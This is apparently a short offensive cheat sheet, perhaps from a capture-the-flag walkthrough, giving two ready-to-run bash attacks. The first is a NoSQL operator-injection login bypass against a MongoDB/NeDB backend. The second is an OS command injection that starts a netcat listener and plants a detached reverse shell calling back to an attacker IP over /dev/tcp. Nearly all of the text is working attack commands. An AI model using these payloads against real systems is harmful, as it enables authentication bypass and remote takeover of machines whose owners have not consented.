Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".
bash
# JSON login that injects an operator into the password field.# The backend runs db.findOne({ username, password }) — {"$ne": null} matches# any stored password, so authentication succeeds without knowing it.curl -s -X POST http://<target-ip>/login \ -H "Content-Type: application/json" \ -d '{"username":"<user>","password":{"$ne":null}}'
OS command injection via an unsanitized parameter; setsid + input redirect detaches the reverse shell so it survives the HTTP response returning.
bash
# listener on your boxnc -lvnp 4444# inject after ';' — setsid + < /dev/null & detaches the shell from the request,# so it keeps running once the HTTP handler returnscurl -s -X POST http://<target-ip>/internal/netcheck \ --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"